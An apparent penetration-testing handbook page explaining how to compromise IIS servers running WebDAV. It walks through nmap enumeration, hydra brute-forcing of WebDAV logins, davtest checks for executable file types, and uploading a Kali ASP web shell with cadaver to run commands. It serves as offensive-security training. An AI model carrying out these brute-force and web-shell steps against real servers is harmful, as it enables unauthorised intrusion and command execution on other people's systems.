> For the complete documentation index, see [llms.txt](https://insecurecodes.gitbook.io/redbook/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://insecurecodes.gitbook.io/redbook/system-host-based-attacks/windows/frequently-exploited-windows-services.md).

# Frequently exploited Windows Services

&#x20; &#x20;

<figure><img src="https://2268752337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOfuDbXsIPnAIHFsZ9Bvf%2Fuploads%2FHPloNQufq1ndVT2AI0JW%2Fimage.png?alt=media&amp;token=ccd051d6-15d3-4b12-a5f0-f681ee9c9c57" alt=""><figcaption></figcaption></figure>

## IIS WebDAV

### General information

#### IIS

* Default ports

```
80, 443
```

* Supported executed files

```
.asp
.aspx
.config
.php
```

#### WebDAV

WebDAV is a protocol that allows you to edit web content on a server using HTTP or HTTPS connections. It has advantages over FTP such as more security options and file locking.

* Default ports

```
80, 443
```

* Needs legitimate credentials, since it implements authentication in form of a username/password

### Steps of exploitation

1. Enumeration. Identify whether WebDAV has been configured to run on the IIS web server.
2. Brute-force attack on the WebDAV server in order to identify legitimate credentials that we can use for authentication.&#x20;
3. Upload a malicious (like a .asp payload) and execute arbitrary commands or obtain a reverse shell on the target.

#### Useful tools

* [davtest](https://code.google.com/archive/p/davtest/) -> Used to scan. authenticate and exploit a WebDAV server.
* [cadaver](https://github.com/notroj/cadaver) -> Supports file upload, download, on-screen display, in-place editing, namespace operations (move/copy), collection creation and deletion, property manipulation, and resource locking on WebDAV servers.

### Exploitation

#### nmap

```sh
nmap -sV -sC $IP
```

<figure><img src="https://2268752337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOfuDbXsIPnAIHFsZ9Bvf%2Fuploads%2F8Fk1rkNAU1sF0iaElqfq%2Fimage.png?alt=media&amp;token=3e046b32-9a9e-47fb-a9d0-182bb034ad24" alt=""><figcaption></figcaption></figure>

* nmap deep dive

```sh
nmap -sv -p 80 --script=http-enum $IP
```

<figure><img src="https://2268752337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOfuDbXsIPnAIHFsZ9Bvf%2Fuploads%2FJKqC84I3kAPxP24vro2Y%2Fimage.png?alt=media&amp;token=0b465c92-439c-45d1-b6d2-0bc82a4f009e" alt=""><figcaption></figcaption></figure>

#### Bruteforce the authentication

The address will be `http://%IP/webdav/`

{% code overflow="wrap" %}

```sh
hydra -L /usr/share/wordlists/metasploit/common_users.txt -P /usr/share/wordlists/metasploit/common_passwords.txt $IP http-get /webdav/
```

{% endcode %}

#### davtest

```sh
davtest -auth admin:password_123 -url http://$IP/webdav
```

<figure><img src="https://2268752337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOfuDbXsIPnAIHFsZ9Bvf%2Fuploads%2FOV9wePmWJwbQUDli88VW%2Fimage.png?alt=media&amp;token=3a5cee6d-c6c9-4594-ab17-841586763ccb" alt=""><figcaption></figcaption></figure>

* The most important section of the output, with that we can see that .asp can be executed and we can get our reverse shell wih that

<figure><img src="https://2268752337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOfuDbXsIPnAIHFsZ9Bvf%2Fuploads%2FQ2jRuTz1NKJXOX65wEuk%2Fimage.png?alt=media&amp;token=763d6dc1-5a17-4c60-a731-ae1cb8fd160a" alt=""><figcaption></figcaption></figure>

#### cadaver

```shell
cadaver http://$IP/webdav

Put credentials and get a cmd shell
```

* Use kali linux pre-package web shells to upload a file and get access

Folder:

```bash
/usr/share/webshells
```

![](https://2268752337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOfuDbXsIPnAIHFsZ9Bvf%2Fuploads%2FOkZgtyS6C785icOGDkoX%2Fimage.png?alt=media\&token=577bd22f-57e8-4873-87ab-af9cb4fb79de)

* Using the cadaver shell upload the web shell

```sh
put /usr/share/webshells/asp/cmd
```

* Go via UI and execute the web shell

<figure><img src="https://2268752337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOfuDbXsIPnAIHFsZ9Bvf%2Fuploads%2FGJpxvE9t6cnTRRN77svv%2Fimage.png?alt=media&amp;token=e952d7dc-9a90-48bf-9d31-350d9264af44" alt=""><figcaption></figcaption></figure>

<figure><img src="https://2268752337-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FOfuDbXsIPnAIHFsZ9Bvf%2Fuploads%2FFrMTwTQV0HFlCm6k0NJR%2Fimage.png?alt=media&amp;token=5861765f-3ba5-4ba2-b7c7-262feefd2a1d" alt=""><figcaption></figcaption></figure>
